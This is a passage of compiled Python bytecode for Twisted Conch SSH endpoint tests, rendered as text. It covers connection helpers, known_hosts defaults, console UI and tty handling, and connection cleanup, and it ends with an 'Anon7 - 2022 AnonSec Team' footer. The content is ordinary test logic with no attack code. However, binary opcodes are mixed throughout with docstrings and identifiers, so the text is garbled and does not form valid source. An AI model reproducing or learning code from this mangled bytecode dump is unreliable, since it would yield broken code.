        created by some other code, so other code is responsible for cleaning
        it up.
        N)�assertFalsertrrCr�rFrFrGr�esz2ExistingConnectionTests.assertClientTransportStateN)rJrKrLrMr�r�r�r�rFrFrFrGr\sr\c@r[)�ExistingConnectionHelperTestsz1
    Tests for L{_ExistingConnectionHelper}.
    cC�|�ttt��dS)zT
        L{_ExistingConnectionHelper} implements L{_ISSHConnectionCreator}.
        N)rrr.r-rDrFrFrGr!u�z,ExistingConnectionHelperTests.test_interfacecCs(t�}t|�}|�||�|����dS)z�
        L{_ExistingConnectionHelper.secureConnection} returns a L{Deferred}
        which fires with whatever object was fed to
        L{_ExistingConnectionHelper.__init__}.
        N)�objectr-�assertIsr��secureConnection)rErm�helperrFrFrG�test_secureConnection{sz3ExistingConnectionHelperTests.test_secureConnectioncC�tt��}|�t�d�dS)z�
        L{_ExistingConnectionHelper.cleanupConnection} does nothing to the
        existing connection if called with C{immediate} set to C{False}.
        FN�r-ri�cleanupConnection�rErlrFrFrG�$test_cleanupConnectionNotImmediately��
zBExistingConnectionHelperTests.test_cleanupConnectionNotImmediatelycCrn)z�
        L{_ExistingConnectionHelper.cleanupConnection} does nothing to the
        existing connection if called with C{immediate} set to C{True}.
        TNrorqrFrFrG�!test_cleanupConnectionImmediately�rsz?ExistingConnectionHelperTests.test_cleanupConnectionImmediatelyN)rJrKrLrMr!rmrrrtrFrFrFrGrfps
rfc@r�)�_PTYPathzk
    A L{FilePath}-like object which can be opened to create a L{_ReadFile} with
    certain contents.
    cCs
||_dS)zz
        @param contents: L{bytes} which will be the contents of the
            L{_ReadFile} this path can open.
        N)�contents)rErvrFrFrGr]�s
z_PTYPath.__init__cCs|dkr	t|j�Sttd��)z�
        If the mode is r+, return a L{_ReadFile} with the contents given to
        this path's initializer.

        @raise OSError: If the mode is unsupported.

        @return: A L{_ReadFile} instance
        zrb+zFunction not implemented)r0rv�OSErrorr)rE�moderFrFrG�open�s	

z
_PTYPath.openN)rJrKrLrMr]ryrFrFrFrGru�sruc@s`eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�NewConnectionHelperTestsz,
    Tests for L{_NewConnectionHelper}.
    cCrg)zO
        L{_NewConnectionHelper} implements L{_ISSHConnectionCreator}.
        N)rrr.r/rDrFrFrGr!�rhz'NewConnectionHelperTests.test_interfacecCs|�dtj�dS)zK
        The default I{known_hosts} path is I{~/.ssh/known_hosts}.
        z~/.ssh/known_hostsN)r�r/�_KNOWN_HOSTSrDrFrFrG�test_defaultPath�sz)NewConnectionHelperTests.test_defaultPathcsHt��|�td�fdd��tdddddddddd�
}|��|j�dS)z�
        L{_NewConnectionHelper._knownHosts} is used to create a
        L{KnownHostsFile} if one is not passed to the initializer.
        �_knownHostscs�Sr[rF)�clsrlrFrGr`�razANewConnectionHelperTests.test_defaultKnownHosts.<locals>.<lambda>N)ri�patchr/rjrrqrFrlrG�test_defaultKnownHosts�s�z/NewConnectionHelperTests.test_defaultKnownHostscCs�t�jd}t|���}t|�}|�d|�|��td|j���t	j�
d�}|j�|d�}|�t
d|�td|���t
��}|�|�d|��dS)z�
        Existing entries in the I{known_hosts} file are reflected by the
        L{KnownHostsFile} created by L{_NewConnectionHelper} when none is
        supplied to it.
        r}s	127.0.0.1zCreated known_hosts file at z~/r{zPatched _KNOWN_HOSTS with N)rzrrrr)rrr�path�os�
expanduser�replacerr/r}r�
hasHostKey)rErOr�r�home�default�loadedrFrFrG�test_readExisting�sz*NewConnectionHelperTests.test_readExistingcCs,tdddddddddd�
}|�|jt�dS)zz
        If L{None} is passed for the C{ui} parameter to
        L{_NewConnectionHelper}, a L{ConsoleUI} is used.
        N)r/r�rr(rqrFrFrG�test_defaultConsoleUI�s�z.NewConnectionHelperTests.test_defaultConsoleUIcCsDtd�}tdddddddddd|�}|�|j�d��}|�|�dS)z�
        If L{None} is passed for the C{ui} parameter to L{_NewConnectionHelper}
        and /dev/tty is available, the L{ConsoleUI} used is associated with
        /dev/tty.
        syesNsdoes this work?)rur/r�rrpr�rE�ttyrlrmrFrFrG�test_ttyConsoleUI�s�z*NewConnectionHelperTests.test_ttyConsoleUIcCsHt|���}tdddddddddd|�}|�|j�d��}|�|�dS)z�
        If L{None} is passed for the C{ui} parameter to L{_NewConnectionHelper}
        and /dev/tty is not available, the L{ConsoleUI} used is associated with
        some file which always produces a C{b"no"} response.
        Nsdid this break?)rrr/r�rrprer�rFrFrG�test_nottyUIs�z%NewConnectionHelperTests.test_nottyUIcCs0tdddddddddd�
}|�td�|j�dS)zy
        If not passed the name of a tty in the filesystem,
        L{_NewConnectionHelper} uses C{b"/dev/tty"}.
        Ns/dev/tty)r/r�rr�rqrFrFrG�test_defaultTTYFilenames�z0NewConnectionHelperTests.test_defaultTTYFilenamecCsFtdddddddddd�
}t�}t�|_|�|d�|�|jj�dS)z�
        L{_NewConnectionHelper.cleanupConnection} closes the transport cleanly
        if called with C{immediate} set to C{False}.
        NF)r/r4r?rtrprr)rErlrdrFrFrGrrs�z=NewConnectionHelperTests.test_cleanupConnectionNotImmediatelycCs`Gdd�d�}tdddddddddd�
}t�}t�|_|�|j_|�|d�|�|jjj�dS)z�
        L{_NewConnectionHelper.cleanupConnection} closes the transport with
        C{abortConnection} if called with C{immediate} set to C{True}.
        c@rN)zMNewConnectionHelperTests.test_cleanupConnectionImmediately.<locals>.AbortableFcSrA)z7
                Abort the connection.
                TNrBrDrFrFrGrH1s
z]NewConnectionHelperTests.test_cleanupConnectionImmediately.<locals>.Abortable.abortConnectionN)rJrKrLrCrHrFrFrFrG�	Abortable.rjr�NT)r/r4r7rtrprrC)rEr�rlrdrFrFrGrt(s	�
z:NewConnectionHelperTests.test_cleanupConnectionImmediatelyN)rJrKrLrMr!r|r�r�r�r�r�r�rrrtrFrFrFrGrz�s




rz)wrM�os.pathr��errnor�structr�zope.interfacer�zope.interface.verifyrrr��twisted.conch.errorrrr	�twisted.conch.interfacesr
�twisted.cred.checkersr�twisted.cred.portalr�twisted.internet.addressr
�twisted.internet.deferrrrr�twisted.internet.errorrrrr�twisted.internet.interfacesrr�twisted.internet.protocolrr�twisted.loggerrr�twisted.python.compatr�twisted.python.failurer�twisted.python.filepathr�twisted.python.logr�twisted.python.reflectr �twisted.test.proto_helpersr!r"�twisted.trial.unittestr#�twisted.conch.avatarr%�twisted.conch.checkersr&r'�twisted.conch.client.knownhostsr(r)�twisted.conch.endpointsr*r+r,r-r.r/r0�twisted.conch.sshr1�twisted.conch.ssh.agentr2�twisted.conch.ssh.channelr3�twisted.conch.ssh.connectionr4�twisted.conch.ssh.factoryr5�twisted.conch.ssh.keysr6�twisted.conch.ssh.transportr7�twisted.conch.ssh.userauthr8�twisted.conch.test.keydatar9r:r;r<�skipri�twisted.test.iosimr=r>r?r@rOrWrYrZrgrkrrrzr�r�r�rr\rfrurzrFrFrFrG�<module>s�$	
&1dU,

Anon7 - 2022
AnonSec Team